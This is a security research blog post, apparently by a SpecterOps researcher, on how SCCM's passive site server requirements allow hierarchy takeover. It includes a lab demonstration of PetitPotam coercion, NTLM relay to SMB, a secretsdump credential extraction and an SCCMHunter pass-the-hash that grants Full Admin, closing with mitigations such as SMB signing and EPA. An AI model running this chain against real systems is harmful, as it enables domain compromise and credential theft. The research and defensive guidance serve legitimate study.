SCCM Hierarchy Takeover with High Availability

TL;DR: SCCM sites configured to support high availability can be abused to compromise the entire hierarchy

I previously wrote about how targeting site systems hosting the SMS Provider role can be used to compromise a SCCM hierarchy. In that blog, I discussed high availability (HA) for the SMS Provider which is designed to support multiple configuration manager console sessions or to support managing SCCM if the SMS provider goes offline. Since then, my coworker Chris Thompson and I started researching more scenarios where environments may introduce other SMS Providers and discovered a HA role for the site server — Chris even alluded to this role in his SCCM Hierarchy Takeover blog.

Other than the SMS Provider, SCCM historically supported several other HA options for individual site system roles such as distribution points or management points; however, it wasn’t until Microsoft released Technical Preview 1806 that HA support for the site server role became available. In this release, the “passive” site server role was introduced. This role creates a second dormant, read-only site server for the site it’s configured in that is available in case of emergency. If the primary site server were to crash, go offline, or otherwise become unavailable, the passive site server can be promoted manually or automatically to assume the “active” site server role.

This feature provides a solution for minimizing any sort of downtime or even to support site upgrades or migrations; however, as Chris and I have previously demonstrated, the privilege escalation vulnerabilities in SCCM stem primarily from the required privileges for the site server role. And, since the passive site server is essentially a copy of the active, nearly identical privileges are required for the passive site server which means the vulnerabilities are bundled in. Let’s walk through some of the prerequisites to identify where scenarios for privilege escalation are introduced.

Abusable Requirements

The first issue that raises an eyebrow is the requirement that the machine account for the passive site server must be a member of the LOCAL ADMINISTRATORS group on the active site server. This is unique to this configuration because an option exists to use a site system installation account for other role installations; however, in this case, it is not supported and the documentation even goes so far as to use the word “must.” (Figure 1) This admin requirement can result in hierarchy compromise via credential relaying to the SMB service and I will demonstrate how this can be abused later. You can skip ahead here if you’d like.

Figure 1: Passive Requirements

Continuing with site system administrator requirements, if a site system installation account is not utilized, the passive site server is required to have the same administrative rights for each site system deployed in the site (Figure 2). This introduces further scenarios for authentication coercion to relay the passive site server to compromise any remote site system role.

Figure 2: Site Installation Account

Next, we’ll shift focus to the site database role. Chris shared previously how the sysadmin privilege requirement for the primary site server role can be abused to compromise the hierarchy and the same privilege is required for the passive site server (Figure 3). And again, if a site system installation account isn’t utilized, the passive site server must also be configured as an administrator on the host of the site database server. For more info on how these requirements can be abused, be sure to read Chris’s blog.

Figure 3: Site Database Requirements

Finally, while going through the process of setting up HA in a lab environment, I noticed the SMS Provider role was installed by default on the passive site server. I couldn’t find any documentation that mentioned this would happen or was required but this behavior makes sense. Without the role installed somewhere in the site, administrators would not be able to use the configuration manager console. Mentioned previously, I wrote about how this role can be abused for hierarchy privilege escalation.

Figure 4: Site Sever Mode StatusFigure 5: Passive Site System Roles

Due to all of these requirements, and in addition to various privilege escalation paths where remote site systems are deployed, SCCM sites setup with default configurations of HA are vulnerable to three hierarchy takeover primitives:

  1. Coercing and relaying authentication from the passive site server to the site database MSSQL service
  2. Coercing and relaying authentication from the passive site server to the active site server’s AdminService API
  3. Coercing and relaying authentication from the passive site server to the active site server’s SMB service

Enumerating Roles

From here, I turned to how this role might be profiled and fortunately there are more prerequisites that can help pinpoint which system is configured as the passive site server. During initial design planning for the SCCM hierarchy, administrators may choose to extend the Active Directory (AD) schema to support publishing of SCCM infrastructure. This design provides an easier method of providing a location to store data for clients enrolled in SCCM and how or where they will interact with the various roles in the site. As part of this extension, a new “System Management” container is created under the “System” container for which each site server in the domain is required to have Full Control permissions to facilitate publishing said data. These permissions extend to the passive site server (Figure 6).

Figure 6: “System Management” Container Permissions

This container and required privilege provides a method to not only determine whether SCCM is published in the domain but to also identify what systems are configured as site servers by resolving the discretionary access control list (DACL) of the “System Management” container. However, this is limited as it will only yield a list of potential site servers and not how each might be configured. Luckily, another prerequisite can combine with this information to disclose the configuration.

At SCCM’s highest level, the service’s intended purpose is to manage and distribute software for clients and all of that software is stored in the content library. During initial deployment, SCCM creates directories for and stores the content library locally on the site server and that content is distributed to clients or other distribution points. Consequently, for HA the content library cannot be stored on either site server and must be migrated to a remote system (Figure 7).

Figure 7: Content Library Requirements

This migration causes some curious behavior for both site servers for which default shares persist or are created on the respective system and the differences between the two discloses their configuration. The following screenshot (Figure 8) shows the default file shares of the active site server. It’s important to note that these file shares exist even after migration of the content library away from the active site server. Even though the content has been moved away, all the default shares remain.

Figure 8: Active Site Server Default Shares

The next screenshot (Figure 9) shows the default file shares of the passive site server, which are very different from the default file shares of the active site server. This is due to the requirement for the remote content library and the limitation that the site server can no longer support the distribution point role; therefore, the associated default file shares are never created on the passive server.

Figure 9: Passive Site Server Default Shares

By combining the DACL requirements for the “System Management” container for all site server roles with the differences in default file shares, we can determine whether the site server is configured as active or passive. This logic has been added to the SMB module in the dev branch of SCCMHunter to automate the discovery process. The “config” column for all identified site servers will now display whether the site server is active or passive (Figure 10). The only requirement is that you have connectivity to each site server to perform the enumeration.

Figure 10: SCCMHunter Config Update

Passive to Active SMB Relay Takeover Demo

To recap, due to the passive site server machine account’s membership of the local administrators group on the active site server, an attacker could abuse this requirement to compromise the hierarchy. If SMB signing is not required (default), authentication could be coerced from the passive site server and relayed to the SMB service on the active site server to compromise the host system. The site system’s machine account is a member of the local SMS Admins group, which grants access to the SMS Provider. Knowing this, an attacker could impersonate the active site server and authenticate to its own AdminService API and execute arbitrary commands as a full administrator on the SCCM service. The following (Figure 11) is a demonstration of that attack path.

Figure 11: SMS Admins Membership Settings

SCCMHunter

The results of the smb module indicate:

  • The SCCM.INTERNAL.LAB and PASSIVE.INTERNAL.LAB systems are both site servers in the “LAB” site
  • The SCCM.INTERNAL.LAB host is the active site server and the PASSIVE.INTERNAL.LAB host is the passive site server
  • SMB signing is disabled on both systems
[04:24:43 PM] INFO     [+] Finished profiling Site Servers.                                                                                          
[04:24:43 PM] INFO +----------------------+-------------------+-----------------+--------------+---------------+----------+-----------+
| Hostname | SiteCode | SigningStatus | SiteServer | SMSProvider | Config | MSSQL |
+======================+===================+=================+==============+===============+==========+===========+
| sccm.internal.lab | LAB | False | True | True | Active | False |
+----------------------+-------------------+-----------------+--------------+---------------+----------+-----------+
| passive.internal.lab | LAB | False | True | True | Passive | True |
+----------------------+-------------------+-----------------+--------------+---------------+----------+-----------+

PetitPotam

  • Valid domain credentials are used to coerce authentication from the PASSIVE.INTERNAL.LAB passive site server to the attacker host
┌──(root㉿DEKSTOP-2QO0YEUW)-[/opt/PetitPotam]
└─# python3 PetitPotam.py -u lowpriv -p P@ssw0rd 10.10.100.136 passive.internal.lab


___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:passive.internal.lab[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

NTLMRelayx

  • Authentication from the PASSIVE.INTERNAL.LAB site server is caught and relayed from the attacker host to the SCCM.INTERNAL.LAB active site server. The -socks flag is used to hold the authenticated session open
┌──(adminservice)─(root㉿DEKSTOP-2QO0YEUW)-[/opt/impacket/examples]
└─# python3 ntlmrelayx.py -t 10.10.100.121 -smb2support -socks
Impacket v0.10.1.dev1+20230802.213755.1cebdf31 - Copyright 2022 Fortra

<----snipped for brevity---->

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> [*] SMBD-Thread-9 (process_request_thread): Received connection from 10.10.100.141, attacking target smb://10.10.100.121
[*] Authenticating against smb://10.10.100.121 as LAB/PASSIVE$ SUCCEED
[*] SOCKS: Adding LAB/[email protected](445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-10 (process_request_thread): Connection from 10.10.100.141 controlled, but there are no more targets left!
[*] SOCKS: Proxying client session for LAB/[email protected](445)

Secretsdump

  • Secretsdump is proxied through the existing authenticated session to recover the SCCM.INTERNAL.LAB site server’s hashed credential
┌──(root㉿DEKSTOP-2QO0YEUW)-[/opt/PetitPotam]
└─# proxychains secretsdump.py lab/passive\[email protected]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.100.121:445 ... OK
[*] Target system bootKey: 0x436a3e67c2c89ded60aeb1f1819428c8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:003d349493bc6acfb242ae5c2ff3d819:::
[*] Dumping cached domain logon information (domain/username:hash)
INTERNAL.LAB/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
lab\SCCM$:aes256-cts-hmac-sha1-96:76bf72e59677dfe072fd6609ccdc1343d318f7cc557b25588b36046747f80172
lab\SCCM$:aes128-cts-hmac-sha1-96:b2d7f1a79de08211ae6a518c82a715f4
lab\SCCM$:des-cbc-md5:5de98a07aefb983e
LAB\SCCM$:plain_password_hex:530061002000670044004d003d0066003d00610040004b0073003100750066005b004c004200450047003a003e0038003200630034005e006d006a0057007700430028003b007000770039004f0044006900570040007a00270075006700630063003400550026003a004b002e00740030006d0027002700560026002400240025006e005d00640032003a0071003d0023003e007400230044007100790036007a003300650060002e004f00260029006f00700061003a00640042006c0057002f007900730025006600460076003500420040002b0041003c0042004c002f0064004f00420076002e002a0076006300
LAB\SCCM$:aad3b435b51404eeaad3b435b51404ee:6963d86f6d65497d7b2126d44e6cdb4e:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf75b49894afd3855dc952aa6b8d4e350c385d994
dpapi_userkey:0x2a982cc72fc89f3081f518fe11326266d729a4f3
[*] NL$KM
0000 9C 57 96 F5 F0 F6 2A 05 5A 47 71 F3 86 DE E8 7C .W....*.ZGq....|
0010 E0 9B 54 94 0D FB DA 44 D3 39 54 1A D2 AF 59 AF ..T....D.9T...Y.
0020 E7 71 45 CF 5B BD A2 86 D3 B4 9C E3 98 05 02 16 .qE.[...........
0030 F9 AC 5F 1E 68 A4 B3 53 29 C8 0C 36 57 13 40 2A .._.h..S)..6W.@*
NL$KM:9c5796f5f0f62a055a4771f386dee87ce09b54940dfbda44d339541ad2af59afe77145cf5bbda286d3b49ce398050216f9ac5f1e68a4b35329c80c365713402a
[*] Cleaning up...
[*] Stopping service RemoteRegistry

SCCMHunter

  • The recovered active site server machine account hash is used to authenticate to the Administration Service API and add an arbitrary user as Full Admin
 ┌──(root㉿DEKSTOP-2QO0YEUW)-[/opt/sccmhunter]
└─# python3 sccmhunter.py admin -u sccm\$ -p aad3b435b51404eeaad3b435b51404ee:6963d86f6d65497d7b2126d44e6cdb4e -ip 10.10.100.121

(
888 d8 \
dP"Y e88'888 e88'888 888 888 8e 888 ee 8888 8888 888 8e d88 ,e e, 888,8, )
C88b d888 '8 d888 '8 888 888 88b 888 88b 8888 8888 888 88b d88888 d88 88b 888 " ##-------->
Y88D Y888 , Y888 , 888 888 888 888 888 Y888 888P 888 888 888 888 , 888 )
d,dP "88,e8' "88,e8' 888 888 888 888 888 "88 88" 888 888 888 "YeeP" 888 /
(
v0.0.2
@garrfoster



[06:53:08 PM] INFO [!] Enter help for extra shell commands
() C:\ >> show_admins
[06:53:11 PM] INFO Tasked SCCM to list current SMS Admins.
[06:53:11 PM] INFO Current Full Admin Users:
[06:53:11 PM] INFO lab\Administrator

() (C:\) >> get_user specter
[06:53:13 PM] INFO [*] Collecting users...
[06:53:13 PM] INFO [+] User found.
[06:53:14 PM] INFO ------------------------------------------
DistinguishedName: CN=specter,OU=DOMUSERS,DC=internal,DC=lab
FullDomainName: INTERNAL.LAB
FullUserName: specter
Mail:
NetworkOperatingSystem: Windows NT
ResourceId: 2063597574
sid: S-1-5-21-2391214593-4168590120-2599633397-1109
UniqueUserName: lab\specter
UserAccountControl: 66048
UserName: specter
UserPrincipalName: [email protected]
------------------------------------------
() (C:\) >> add_admin specter S-1-5-21-2391214593-4168590120-2599633397-1109
[06:53:19 PM] INFO Tasked SCCM to add specter as an administrative user.
[06:53:19 PM] INFO [+] Successfully added specter as an admin.
() (C:\) >> show_admins
[06:53:20 PM] INFO Tasked SCCM to list current SMS Admins.
[06:53:20 PM] INFO Current Full Admin Users:
[06:53:20 PM] INFO lab\Administrator
[08:46:39 PM] INFO specter

Defensive Considerations

I’ll again refer to Chris’s great resource on the SharpSCCM Wiki for a broad look at various vulnerabilities associated with SCCM. The most impactful changes you can make right now to significantly reduce your attack surface for these issues are:

  • Require SMB signing on all site systems (prevents relay to SMB)
  • Require Extended Protection for Authentication (EPA) on the site database (prevents relay to MSSQL)
  • Block all unnecessary connections to site systems, especially SMB, HTTP(s), and MSSQL (reduces coercion via SMB and relay to these services)

For more in depth defensive analysis and even some detection opportunities Chris covered both extensively starting with the Mitigation section of the Hierarchy Takeover blog.

Final Thoughts

I finished off my last blog by saying I’d share how a remote SMS Provider’s site database role can be used to compromise the hierarchy, but that didn’t warrant an entire blog post dedicated solely to that subject. The TL;DR for this path is the SMS Provider has the db_owner role, which means it can be relayed to MSSQL on the site database server just like in Chris’s original site takeover blog.

When I installed the passive role in a lab, the active site server required administrator rights for the passive host since I wasn’t using site installation accounts and I assume this is how most admins are performing deployment as well. This means you could potentially flip directions (i.e., active to passive) and achieve the same results.

Again, we love researching this stuff and have more to share. Chris and Duane Michael (The Phantom Credentials of SCCM: Why the NAA Won’t Die) will both be presenting Misconfiguration Manager: Overlooked and Overprivileged at SpecterOps’s upcoming SO-CON 2024 conference, and will highlight some of the most common SCCM attack paths we’ve observed internally and introducing a model for SCCM attack path management that both red and blue teams can use. And for my final shill, if you’re into SCCM research, come join us in the #sccm channel in the BloodHoundGang Slack!

SCCM Hierarchy Takeover with High Availability was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

Article Link: SCCM Hierarchy Takeover with High Availability | by Garrett Foster | Feb, 2024 | Posts By SpecterOps Team Members